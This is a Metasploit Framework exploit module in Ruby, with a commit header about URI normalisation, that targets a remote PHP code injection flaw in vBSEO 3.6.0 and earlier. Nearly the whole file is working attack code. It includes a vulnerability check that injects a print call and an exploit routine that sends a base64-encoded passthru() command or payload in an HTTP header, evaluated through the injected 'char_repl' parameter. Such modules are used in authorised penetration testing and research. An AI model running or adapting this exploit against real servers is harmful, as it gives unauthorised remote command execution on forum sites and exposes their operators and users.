sinn3r
c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
96 lines
2.7 KiB
Ruby
96 lines
2.7 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'vBSEO <= 3.6.0 proc_deutf() Remote PHP Code Injection',
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'Description' => %q{
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This module exploits a vulnerability in the 'proc_deutf()' function
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defined in /includes/functions_vbseocp_abstract.php. User input passed through
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'char_repl' POST parameter isn't properly sanitized before being used in a call
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to preg_replace() function which uses the 'e' modifier. This can be exploited to
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inject and execute arbitrary code leveraging the PHP's complex curly syntax.
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},
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'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '78508'],
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['BID', '51647'],
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['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
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['EDB', '18424']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 8190,
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'Keys' => ['php'],
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Jan 23 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
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OptString.new('CMD', [false, "Command to execute"])
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], self.class)
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end
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def check
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flag = rand_text_alpha(rand(10)+10)
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data = "char_repl='{${print(#{flag})}}'=>"
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uri = normalize_uri(datastore['URI'], 'vbseocp.php')
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response = send_request_cgi({
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'method' => "POST",
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'uri' => uri,
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'data' => data
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})
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if response.code == 200 and response.body =~ /#{flag}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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if datastore['CMD']
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p = "passthru(\"%s\");" % datastore['CMD']
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p = Rex::Text.encode_base64(p)
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else
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p = Rex::Text.encode_base64(payload.encoded)
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end
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data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"
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uri = normalize_uri(datastore['URI'], 'vbseocp.php')
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response = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'data' => data,
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'headers' => { 'Code' => p }
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})
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vprint_status("Server replied with #{response ? response.code : "nothing"}")
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end
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end
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